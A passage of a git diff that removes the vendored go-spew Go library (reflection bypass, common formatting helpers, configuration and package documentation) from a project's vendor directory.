!ok { - panic("reflect.Value has no flag field") - } - return field.Offset -}() - -// flagField returns a pointer to the flag field of a reflect.Value. -func flagField(v *reflect.Value) *flag { - return (*flag)(unsafe.Pointer(uintptr(unsafe.Pointer(v)) + flagValOffset)) -} - -// unsafeReflectValue converts the passed reflect.Value into a one that bypasses -// the typical safety restrictions preventing access to unaddressable and -// unexported data. It works by digging the raw pointer to the underlying -// value out of the protected value and generating a new unprotected (unsafe) -// reflect.Value to it. -// -// This allows us to check for implementations of the Stringer and error -// interfaces to be used for pretty printing ordinarily unaddressable and -// inaccessible values such as unexported struct fields. -func unsafeReflectValue(v reflect.Value) reflect.Value { - if !v.IsValid() || (v.CanInterface() && v.CanAddr()) { - return v - } - flagFieldPtr := flagField(&v) - *flagFieldPtr &^= flagRO - *flagFieldPtr |= flagAddr - return v -} - -// Sanity checks against future reflect package changes -// to the type or semantics of the Value.flag field. -func init() { - field, ok := reflect.TypeOf(reflect.Value{}).FieldByName("flag") - if !ok { - panic("reflect.Value has no flag field") - } - if field.Type.Kind() != reflect.TypeOf(flag(0)).Kind() { - panic("reflect.Value flag field has changed kind") - } - type t0 int - var t struct { - A t0 - // t0 will have flagEmbedRO set. - t0 - // a will have flagStickyRO set - a t0 - } - vA := reflect.ValueOf(t).FieldByName("A") - va := reflect.ValueOf(t).FieldByName("a") - vt0 := reflect.ValueOf(t).FieldByName("t0") - - // Infer flagRO from the difference between the flags - // for the (otherwise identical) fields in t. - flagPublic := *flagField(&vA) - flagWithRO := *flagField(&va) | *flagField(&vt0) - flagRO = flagPublic ^ flagWithRO - - // Infer flagAddr from the difference between a value - // taken from a pointer and not. - vPtrA := reflect.ValueOf(&t).Elem().FieldByName("A") - flagNoPtr := *flagField(&vA) - flagPtr := *flagField(&vPtrA) - flagAddr = flagNoPtr ^ flagPtr - - // Check that the inferred flags tally with one of the known versions. - for _, f := range okFlags { - if flagRO == f.ro && flagAddr == f.addr { - return - } - } - panic("reflect.Value read-only flag has changed semantics") -} diff --git a/vendor/github.com/davecgh/go-spew/spew/bypasssafe.go b/vendor/github.com/davecgh/go-spew/spew/bypasssafe.go deleted file mode 100644 index 205c28d68c..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/bypasssafe.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright (c) 2015-2016 Dave Collins -// -// Permission to use, copy, modify, and distribute this software for any -// purpose with or without fee is hereby granted, provided that the above -// copyright notice and this permission notice appear in all copies. -// -// THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -// WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -// MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -// ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -// WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -// ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -// OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -// NOTE: Due to the following build constraints, this file will only be compiled -// when the code is running on Google App Engine, compiled by GopherJS, or -// "-tags safe" is added to the go build command line. The "disableunsafe" -// tag is deprecated and thus should not be used. -// +build js appengine safe disableunsafe !go1.4 - -package spew - -import "reflect" - -const ( - // UnsafeDisabled is a build-time constant which specifies whether or - // not access to the unsafe package is available. - UnsafeDisabled = true -) - -// unsafeReflectValue typically converts the passed reflect.Value into a one -// that bypasses the typical safety restrictions preventing access to -// unaddressable and unexported data. However, doing this relies on access to -// the unsafe package. This is a stub version which simply returns the passed -// reflect.Value when the unsafe package is not available. -func unsafeReflectValue(v reflect.Value) reflect.Value { - return v -} diff --git a/vendor/github.com/davecgh/go-spew/spew/common.go b/vendor/github.com/davecgh/go-spew/spew/common.go deleted file mode 100644 index 1be8ce9457..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/common.go +++ /dev/null @@ -1,341 +0,0 @@ -/* - * Copyright (c) 2013-2016 Dave Collins - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -package spew - -import ( - "bytes" - "fmt" - "io" - "reflect" - "sort" - "strconv" -) - -// Some constants in the form of bytes to avoid string overhead. This mirrors -// the technique used in the fmt package. -var ( - panicBytes = []byte("(PANIC=") - plusBytes = []byte("+") - iBytes = []byte("i") - trueBytes = []byte("true") - falseBytes = []byte("false") - interfaceBytes = []byte("(interface {})") - commaNewlineBytes = []byte(",\n") - newlineBytes = []byte("\n") - openBraceBytes = []byte("{") - openBraceNewlineBytes = []byte("{\n") - closeBraceBytes = []byte("}") - asteriskBytes = []byte("*") - colonBytes = []byte(":") - colonSpaceBytes = []byte(": ") - openParenBytes = []byte("(") - closeParenBytes = []byte(")") - spaceBytes = []byte(" ") - pointerChainBytes = []byte("->") - nilAngleBytes = []byte("") - maxNewlineBytes = []byte("\n") - maxShortBytes = []byte("") - circularBytes = []byte("") - circularShortBytes = []byte("") - invalidAngleBytes = []byte("") - openBracketBytes = []byte("[") - closeBracketBytes = []byte("]") - percentBytes = []byte("%") - precisionBytes = []byte(".") - openAngleBytes = []byte("<") - closeAngleBytes = []byte(">") - openMapBytes = []byte("map[") - closeMapBytes = []byte("]") - lenEqualsBytes = []byte("len=") - capEqualsBytes = []byte("cap=") -) - -// hexDigits is used to map a decimal value to a hex digit. -var hexDigits = "0123456789abcdef" - -// catchPanic handles any panics that might occur during the handleMethods -// calls. -func catchPanic(w io.Writer, v reflect.Value) { - if err := recover(); err != nil { - w.Write(panicBytes) - fmt.Fprintf(w, "%v", err) - w.Write(closeParenBytes) - } -} - -// handleMethods attempts to call the Error and String methods on the underlying -// type the passed reflect.Value represents and outputes the result to Writer w. -// -// It handles panics in any called methods by catching and displaying the error -// as the formatted value. -func handleMethods(cs *ConfigState, w io.Writer, v reflect.Value) (handled bool) { - // We need an interface to check if the type implements the error or - // Stringer interface. However, the reflect package won't give us an - // interface on certain things like unexported struct fields in order - // to enforce visibility rules. We use unsafe, when it's available, - // to bypass these restrictions since this package does not mutate the - // values. - if !v.CanInterface() { - if UnsafeDisabled { - return false - } - - v = unsafeReflectValue(v) - } - - // Choose whether or not to do error and Stringer interface lookups against - // the base type or a pointer to the base type depending on settings. - // Technically calling one of these methods with a pointer receiver can - // mutate the value, however, types which choose to satisify an error or - // Stringer interface with a pointer receiver should not be mutating their - // state inside these interface methods. - if !cs.DisablePointerMethods && !UnsafeDisabled && !v.CanAddr() { - v = unsafeReflectValue(v) - } - if v.CanAddr() { - v = v.Addr() - } - - // Is it an error or Stringer? - switch iface := v.Interface().(type) { - case error: - defer catchPanic(w, v) - if cs.ContinueOnMethod { - w.Write(openParenBytes) - w.Write([]byte(iface.Error())) - w.Write(closeParenBytes) - w.Write(spaceBytes) - return false - } - - w.Write([]byte(iface.Error())) - return true - - case fmt.Stringer: - defer catchPanic(w, v) - if cs.ContinueOnMethod { - w.Write(openParenBytes) - w.Write([]byte(iface.String())) - w.Write(closeParenBytes) - w.Write(spaceBytes) - return false - } - w.Write([]byte(iface.String())) - return true - } - return false -} - -// printBool outputs a boolean value as true or false to Writer w. -func printBool(w io.Writer, val bool) { - if val { - w.Write(trueBytes) - } else { - w.Write(falseBytes) - } -} - -// printInt outputs a signed integer value to Writer w. -func printInt(w io.Writer, val int64, base int) { - w.Write([]byte(strconv.FormatInt(val, base))) -} - -// printUint outputs an unsigned integer value to Writer w. -func printUint(w io.Writer, val uint64, base int) { - w.Write([]byte(strconv.FormatUint(val, base))) -} - -// printFloat outputs a floating point value using the specified precision, -// which is expected to be 32 or 64bit, to Writer w. -func printFloat(w io.Writer, val float64, precision int) { - w.Write([]byte(strconv.FormatFloat(val, 'g', -1, precision))) -} - -// printComplex outputs a complex value using the specified float precision -// for the real and imaginary parts to Writer w. -func printComplex(w io.Writer, c complex128, floatPrecision int) { - r := real(c) - w.Write(openParenBytes) - w.Write([]byte(strconv.FormatFloat(r, 'g', -1, floatPrecision))) - i := imag(c) - if i >= 0 { - w.Write(plusBytes) - } - w.Write([]byte(strconv.FormatFloat(i, 'g', -1, floatPrecision))) - w.Write(iBytes) - w.Write(closeParenBytes) -} - -// printHexPtr outputs a uintptr formatted as hexadecimal with a leading '0x' -// prefix to Writer w. -func printHexPtr(w io.Writer, p uintptr) { - // Null pointer. - num := uint64(p) - if num == 0 { - w.Write(nilAngleBytes) - return - } - - // Max uint64 is 16 bytes in hex + 2 bytes for '0x' prefix - buf := make([]byte, 18) - - // It's simpler to construct the hex string right to left. - base := uint64(16) - i := len(buf) - 1 - for num >= base { - buf[i] = hexDigits[num%base] - num /= base - i-- - } - buf[i] = hexDigits[num] - - // Add '0x' prefix. - i-- - buf[i] = 'x' - i-- - buf[i] = '0' - - // Strip unused leading bytes. - buf = buf[i:] - w.Write(buf) -} - -// valuesSorter implements sort.Interface to allow a slice of reflect.Value -// elements to be sorted. -type valuesSorter struct { - values []reflect.Value - strings []string // either nil or same len and values - cs *ConfigState -} - -// newValuesSorter initializes a valuesSorter instance, which holds a set of -// surrogate keys on which the data should be sorted. It uses flags in -// ConfigState to decide if and how to populate those surrogate keys. -func newValuesSorter(values []reflect.Value, cs *ConfigState) sort.Interface { - vs := &valuesSorter{values: values, cs: cs} - if canSortSimply(vs.values[0].Kind()) { - return vs - } - if !cs.DisableMethods { - vs.strings = make([]string, len(values)) - for i := range vs.values { - b := bytes.Buffer{} - if !handleMethods(cs, &b, vs.values[i]) { - vs.strings = nil - break - } - vs.strings[i] = b.String() - } - } - if vs.strings == nil && cs.SpewKeys { - vs.strings = make([]string, len(values)) - for i := range vs.values { - vs.strings[i] = Sprintf("%#v", vs.values[i].Interface()) - } - } - return vs -} - -// canSortSimply tests whether a reflect.Kind is a primitive that can be sorted -// directly, or whether it should be considered for sorting by surrogate keys -// (if the ConfigState allows it). -func canSortSimply(kind reflect.Kind) bool { - // This switch parallels valueSortLess, except for the default case. - switch kind { - case reflect.Bool: - return true - case reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int: - return true - case reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint: - return true - case reflect.Float32, reflect.Float64: - return true - case reflect.String: - return true - case reflect.Uintptr: - return true - case reflect.Array: - return true - } - return false -} - -// Len returns the number of values in the slice. It is part of the -// sort.Interface implementation. -func (s *valuesSorter) Len() int { - return len(s.values) -} - -// Swap swaps the values at the passed indices. It is part of the -// sort.Interface implementation. -func (s *valuesSorter) Swap(i, j int) { - s.values[i], s.values[j] = s.values[j], s.values[i] - if s.strings != nil { - s.strings[i], s.strings[j] = s.strings[j], s.strings[i] - } -} - -// valueSortLess returns whether the first value should sort before the second -// value. It is used by valueSorter.Less as part of the sort.Interface -// implementation. -func valueSortLess(a, b reflect.Value) bool { - switch a.Kind() { - case reflect.Bool: - return !a.Bool() && b.Bool() - case reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, reflect.Int: - return a.Int() < b.Int() - case reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uint: - return a.Uint() < b.Uint() - case reflect.Float32, reflect.Float64: - return a.Float() < b.Float() - case reflect.String: - return a.String() < b.String() - case reflect.Uintptr: - return a.Uint() < b.Uint() - case reflect.Array: - // Compare the contents of both arrays. - l := a.Len() - for i := 0; i < l; i++ { - av := a.Index(i) - bv := b.Index(i) - if av.Interface() == bv.Interface() { - continue - } - return valueSortLess(av, bv) - } - } - return a.String() < b.String() -} - -// Less returns whether the value at index i should sort before the -// value at index j. It is part of the sort.Interface implementation. -func (s *valuesSorter) Less(i, j int) bool { - if s.strings == nil { - return valueSortLess(s.values[i], s.values[j]) - } - return s.strings[i] < s.strings[j] -} - -// sortValues is a sort function that handles both native types and any type that -// can be converted to error or Stringer. Other inputs are sorted according to -// their Value.String() value to ensure display stability. -func sortValues(values []reflect.Value, cs *ConfigState) { - if len(values) == 0 { - return - } - sort.Sort(newValuesSorter(values, cs)) -} diff --git a/vendor/github.com/davecgh/go-spew/spew/config.go b/vendor/github.com/davecgh/go-spew/spew/config.go deleted file mode 100644 index 2e3d22f312..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/config.go +++ /dev/null @@ -1,306 +0,0 @@ -/* - * Copyright (c) 2013-2016 Dave Collins - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -package spew - -import ( - "bytes" - "fmt" - "io" - "os" -) - -// ConfigState houses the configuration options used by spew to format and -// display values. There is a global instance, Config, that is used to control -// all top-level Formatter and Dump functionality. Each ConfigState instance -// provides methods equivalent to the top-level functions. -// -// The zero value for ConfigState provides no indentation. You would typically -// want to set it to a space or a tab. -// -// Alternatively, you can use NewDefaultConfig to get a ConfigState instance -// with default settings. See the documentation of NewDefaultConfig for default -// values. -type ConfigState struct { - // Indent specifies the string to use for each indentation level. The - // global config instance that all top-level functions use set this to a - // single space by default. If you would like more indentation, you might - // set this to a tab with "\t" or perhaps two spaces with " ". - Indent string - - // MaxDepth controls the maximum number of levels to descend into nested - // data structures. The default, 0, means there is no limit. - // - // NOTE: Circular data structures are properly detected, so it is not - // necessary to set this value unless you specifically want to limit deeply - // nested data structures. - MaxDepth int - - // DisableMethods specifies whether or not error and Stringer interfaces are - // invoked for types that implement them. - DisableMethods bool - - // DisablePointerMethods specifies whether or not to check for and invoke - // error and Stringer interfaces on types which only accept a pointer - // receiver when the current type is not a pointer. - // - // NOTE: This might be an unsafe action since calling one of these methods - // with a pointer receiver could technically mutate the value, however, - // in practice, types which choose to satisify an error or Stringer - // interface with a pointer receiver should not be mutating their state - // inside these interface methods. As a result, this option relies on - // access to the unsafe package, so it will not have any effect when - // running in environments without access to the unsafe package such as - // Google App Engine or with the "safe" build tag specified. - DisablePointerMethods bool - - // DisablePointerAddresses specifies whether to disable the printing of - // pointer addresses. This is useful when diffing data structures in tests. - DisablePointerAddresses bool - - // DisableCapacities specifies whether to disable the printing of capacities - // for arrays, slices, maps and channels. This is useful when diffing - // data structures in tests. - DisableCapacities bool - - // ContinueOnMethod specifies whether or not recursion should continue once - // a custom error or Stringer interface is invoked. The default, false, - // means it will print the results of invoking the custom error or Stringer - // interface and return immediately instead of continuing to recurse into - // the internals of the data type. - // - // NOTE: This flag does not have any effect if method invocation is disabled - // via the DisableMethods or DisablePointerMethods options. - ContinueOnMethod bool - - // SortKeys specifies map keys should be sorted before being printed. Use - // this to have a more deterministic, diffable output. Note that only - // native types (bool, int, uint, floats, uintptr and string) and types - // that support the error or Stringer interfaces (if methods are - // enabled) are supported, with other types sorted according to the - // reflect.Value.String() output which guarantees display stability. - SortKeys bool - - // SpewKeys specifies that, as a last resort attempt, map keys should - // be spewed to strings and sorted by those strings. This is only - // considered if SortKeys is true. - SpewKeys bool -} - -// Config is the active configuration of the top-level functions. -// The configuration can be changed by modifying the contents of spew.Config. -var Config = ConfigState{Indent: " "} - -// Errorf is a wrapper for fmt.Errorf that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the formatted string as a value that satisfies error. See NewFormatter -// for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Errorf(format, c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Errorf(format string, a ...interface{}) (err error) { - return fmt.Errorf(format, c.convertArgs(a)...) -} - -// Fprint is a wrapper for fmt.Fprint that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Fprint(w, c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Fprint(w io.Writer, a ...interface{}) (n int, err error) { - return fmt.Fprint(w, c.convertArgs(a)...) -} - -// Fprintf is a wrapper for fmt.Fprintf that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Fprintf(w, format, c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Fprintf(w io.Writer, format string, a ...interface{}) (n int, err error) { - return fmt.Fprintf(w, format, c.convertArgs(a)...) -} - -// Fprintln is a wrapper for fmt.Fprintln that treats each argument as if it -// passed with a Formatter interface returned by c.NewFormatter. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Fprintln(w, c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Fprintln(w io.Writer, a ...interface{}) (n int, err error) { - return fmt.Fprintln(w, c.convertArgs(a)...) -} - -// Print is a wrapper for fmt.Print that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Print(c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Print(a ...interface{}) (n int, err error) { - return fmt.Print(c.convertArgs(a)...) -} - -// Printf is a wrapper for fmt.Printf that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Printf(format, c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Printf(format string, a ...interface{}) (n int, err error) { - return fmt.Printf(format, c.convertArgs(a)...) -} - -// Println is a wrapper for fmt.Println that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the number of bytes written and any write error encountered. See -// NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Println(c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Println(a ...interface{}) (n int, err error) { - return fmt.Println(c.convertArgs(a)...) -} - -// Sprint is a wrapper for fmt.Sprint that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the resulting string. See NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Sprint(c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Sprint(a ...interface{}) string { - return fmt.Sprint(c.convertArgs(a)...) -} - -// Sprintf is a wrapper for fmt.Sprintf that treats each argument as if it were -// passed with a Formatter interface returned by c.NewFormatter. It returns -// the resulting string. See NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Sprintf(format, c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Sprintf(format string, a ...interface{}) string { - return fmt.Sprintf(format, c.convertArgs(a)...) -} - -// Sprintln is a wrapper for fmt.Sprintln that treats each argument as if it -// were passed with a Formatter interface returned by c.NewFormatter. It -// returns the resulting string. See NewFormatter for formatting details. -// -// This function is shorthand for the following syntax: -// -// fmt.Sprintln(c.NewFormatter(a), c.NewFormatter(b)) -func (c *ConfigState) Sprintln(a ...interface{}) string { - return fmt.Sprintln(c.convertArgs(a)...) -} - -/* -NewFormatter returns a custom formatter that satisfies the fmt.Formatter -interface. As a result, it integrates cleanly with standard fmt package -printing functions. The formatter is useful for inline printing of smaller data -types similar to the standard %v format specifier. - -The custom formatter only responds to the %v (most compact), %+v (adds pointer -addresses), %#v (adds types), and %#+v (adds types and pointer addresses) verb -combinations. Any other verbs such as %x and %q will be sent to the the -standard fmt package for formatting. In addition, the custom formatter ignores -the width and precision arguments (however they will still work on the format -specifiers not handled by the custom formatter). - -Typically this function shouldn't be called directly. It is much easier to make -use of the custom formatter by calling one of the convenience functions such as -c.Printf, c.Println, or c.Printf. -*/ -func (c *ConfigState) NewFormatter(v interface{}) fmt.Formatter { - return newFormatter(c, v) -} - -// Fdump formats and displays the passed arguments to io.Writer w. It formats -// exactly the same as Dump. -func (c *ConfigState) Fdump(w io.Writer, a ...interface{}) { - fdump(c, w, a...) -} - -/* -Dump displays the passed parameters to standard out with newlines, customizable -indentation, and additional debug information such as complete types and all -pointer addresses used to indirect to the final value. It provides the -following features over the built-in printing facilities provided by the fmt -package: - - * Pointers are dereferenced and followed - * Circular data structures are detected and handled properly - * Custom Stringer/error interfaces are optionally invoked, including - on unexported types - * Custom types which only implement the Stringer/error interfaces via - a pointer receiver are optionally invoked when passing non-pointer - variables - * Byte arrays and slices are dumped like the hexdump -C command which - includes offsets, byte values in hex, and ASCII output - -The configuration options are controlled by modifying the public members -of c. See ConfigState for options documentation. - -See Fdump if you would prefer dumping to an arbitrary io.Writer or Sdump to -get the formatted result as a string. -*/ -func (c *ConfigState) Dump(a ...interface{}) { - fdump(c, os.Stdout, a...) -} - -// Sdump returns a string with the passed arguments formatted exactly the same -// as Dump. -func (c *ConfigState) Sdump(a ...interface{}) string { - var buf bytes.Buffer - fdump(c, &buf, a...) - return buf.String() -} - -// convertArgs accepts a slice of arguments and returns a slice of the same -// length with each argument converted to a spew Formatter interface using -// the ConfigState associated with s. -func (c *ConfigState) convertArgs(args []interface{}) (formatters []interface{}) { - formatters = make([]interface{}, len(args)) - for index, arg := range args { - formatters[index] = newFormatter(c, arg) - } - return formatters -} - -// NewDefaultConfig returns a ConfigState with the following default settings. -// -// Indent: " " -// MaxDepth: 0 -// DisableMethods: false -// DisablePointerMethods: false -// ContinueOnMethod: false -// SortKeys: false -func NewDefaultConfig() *ConfigState { - return &ConfigState{Indent: " "} -} diff --git a/vendor/github.com/davecgh/go-spew/spew/doc.go b/vendor/github.com/davecgh/go-spew/spew/doc.go deleted file mode 100644 index aacaac6f1e..0000000000 --- a/vendor/github.com/davecgh/go-spew/spew/doc.go +++ /dev/null @@ -1,211 +0,0 @@ -/* - * Copyright (c) 2013-2016 Dave Collins - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - */ - -/* -Package spew implements a deep pretty printer for Go data structures to aid in -debugging. - -A quick overview of the additional features spew provides over the built-in -printing facilities for Go data types are as follows: - - * Pointers are dereferenced and followed - * Circular data structures are detected and handled properly - * Custom Stringer/error interfaces are optionally invoked, including - on unexported types - * Custom types which only implement the Stringer/error interfaces via - a pointer receiver are optionally invoked when passing non-pointer - variables - * Byte arrays and slices are dumped like the hexdump -C command which - includes offsets, byte values in hex, and ASCII output (only when using - Dump style) - -There are two different approaches spew allows for dumping Go data structures: - - * Dump style which prints with newlines, customizable indentation, - and additional debug information such as types and all pointer addresses - used to indirect to the final value - * A custom Formatter interface that integrates cleanly with the standard fmt - package and replaces %v, %+v, %#v, and %#+v to provide inline printing - similar to the default %v while providing the additional functionality - outlined above and passing unsupported format verbs such as %x and %q - along to fmt - -Quick Start - -This section demonstrates how to quickly get started with spew. See the -sections below for further details on formatting and configuration options. - -To dump a variable with full newlines, indentation, type, and pointer -information use Dump, Fdump, or Sdump: - spew.Dump(myVar1, myVar2, ...) - spew.Fdump(someWriter, myVar1, myVar2, ...) - str := spew.Sdump(myVar1, myVar2, ...) - -Alternatively, if you would prefer to use format strings with a compacted inline -printing style, use the convenience wrappers Printf, Fprintf, etc with -%v (most compact), %+v (adds pointer addresses), %#v (adds types), or -%#+v (adds types and pointer addresses): - spew.Printf("myVar1: %v -- myVar2: %+v", myVar1, myVar2) - spew.Printf("myVar3: %#v -- myVar4: %#+v", myVar3, myVar4) - spew.Fprintf(someWriter, "myVar1: %v -- myVar2: %+v", myVar1, myVar2) - spew.Fprintf(someWriter, "myVar3: %#v -- myVar4: %#+v", myVar3, myVar4) - -Configuration Options - -Configuration of spew is handled by fields in the ConfigState type. For -convenience, all of the top-level functions use a global state available -via the spew.Config global. - -It is also possible to create a ConfigState instance that provides methods -equivalent to the top-level functions. This allows concurrent configuration -options. See the ConfigState documentation for more details. - -The following configuration options are available: - * Indent - String to use for each indentation level for Dump functions. - It is a single space by default. A popular alternative is "\t". - - * MaxDepth - Maximum number of levels to descend into nested data structures. - There is no limit by default. - - * DisableMethods - Disables invocation of error and Stringer interface methods. - Method invocation is enabled by default. - - * DisablePointerMethods - Disables invocation of error and Stringer interface methods on types - which only accept pointer receivers from non-pointer variables. - Pointer method invocation is enabled by default. - - * DisablePointerAddresses - DisablePointerAddresses specifies whether to disable the printing of - pointer addresses. This is useful when diffing data structures in tests. - - * DisableCapacities - DisableCapacities specifies whether to disable the printing of - capacities for arrays, slices, maps and channels. This is useful when - diffing data structures in tests. - - * ContinueOnMethod - Enables recursion into types after invoking error and Stringer interface - methods. Recursion after method invocation is disabled by default. - - * SortKeys - Specifies map keys should be sorted before being printed. Use - this to have a more deterministic, diffable output. Note that - only native types (bool, int, uint, floats, uintptr and string) - and types which implement error or Stringer interfaces are - supported with other types sorted according to the - reflect.Value.String() output which guarantees display - stability. Natural map order is used by default. - - * SpewKeys - Specifies that, as a last resort attempt, map keys should be - spewed to strings and sorted by those strings. This is only - considered if SortKeys is true. - -Dump Usage - -Simply call spew.Dump with a list of variables you want to dump: - - spew.Dump(myVar1, myVar2, ...) - -You may also call spew.Fdump if you would prefer to output to an arbitrary -io.Writer. For example, to dump to standard error: - - spew.Fdump(os.Stderr, myVar1, myVar2, ...) - -A third option is to call spew.Sdump to get the formatted output as a string: - - str := spew.Sdump(myVar1, myVar2, ...) - -Sample Dump Output - -See the Dump example for details on the setup of the types and variables being -shown here. - - (main.Foo) { - unexportedField: (*main.Bar)(0xf84002e210)({ - flag: (main.Flag) flagTwo, - data: (uintptr) - }), - ExportedField: (map[interface {}]interface {}) (len=1) { - (string) (len=3) "one": (bool) true - } - } - -Byte (and uint8) arrays and slices are displayed uniquely like the hexdump -C -command as shown. - ([]uint8) (len=32 cap=32) { - 00000000 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 |............... | - 00000010 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 |!"#$%&'()*+,-./0| - 00000020 31 32 |12| - } - -Custom Formatter - -Spew provides a custom formatter that implements the fmt.Formatter interface -so that it integrates cleanly with standard fmt package printing functions. The -formatter is useful for inline printing of smaller data types similar to the -standard %v format specifier. - -The custom formatter only responds to the %v (most compact), %+v (adds pointer -addresses), %#v (adds types), or %#+v (adds types and pointer addresses) verb -combinations. Any other verbs such as %x and %q will be sent to the the -standard fmt package for formatting. In addition, the custom formatter ignores -the width and precision arguments (however they will still work on the format -specifiers not handled by the custom formatter). - -Custom Formatter Usage - -The simplest way to make use of the spew custom formatter is to call one of the -convenience functions such as spew.Printf, spew.Println, or spew.Printf. The -functions have syntax you are most likely already familiar with: - - spew.Printf("myVar1: %v -- myVar2: %+v", myVar1, myVar2) - spew.Printf("myVar3: %#v -- myVar4: %#+v", myVar3, myVar4) - spew.Println(myVar, myVar2) - spew.Fprintf(os.Stderr, "myVar1: %v -- myVar2: %+v", myVar1, myVar2) - spew.Fprintf(os.Stderr, "myVar3: %#v -- myVar4: %#+v", myVar3, myVar4) - -See the Index for the full list convenience functions. - -Sample Formatter Output - -Double pointer to a uint8: - %v: <**>5 - %+v: <**>(0xf8400420d0->0xf8400420c8)5 - %#v: (**uint8)5 - %#+v: (**uint8)(0xf8400420d0->0xf8400420c8)5 - -Pointer to circular struct with a uint8 field and a pointer to itself: - %v: <*>{1 <*>} - %+v: <*>(0xf84003e260){ui8:1 c:<*>(0xf84003e260)} - %#v: (*main.circular){ui8:(uint8)1 c:(*main.circular)} - %#+v: (*main.circular)(0xf84003e260){ui8:(uint8)1 c:(*main.circular)(0xf84003e260)} - -See the Printf example for details on the setup of variables being shown -here. - -Errors - -Since it is possible for custom Stringer/error interfaces to panic, spew -detects them and handles them internally by printing the panic information -inline with the output. Since spew is 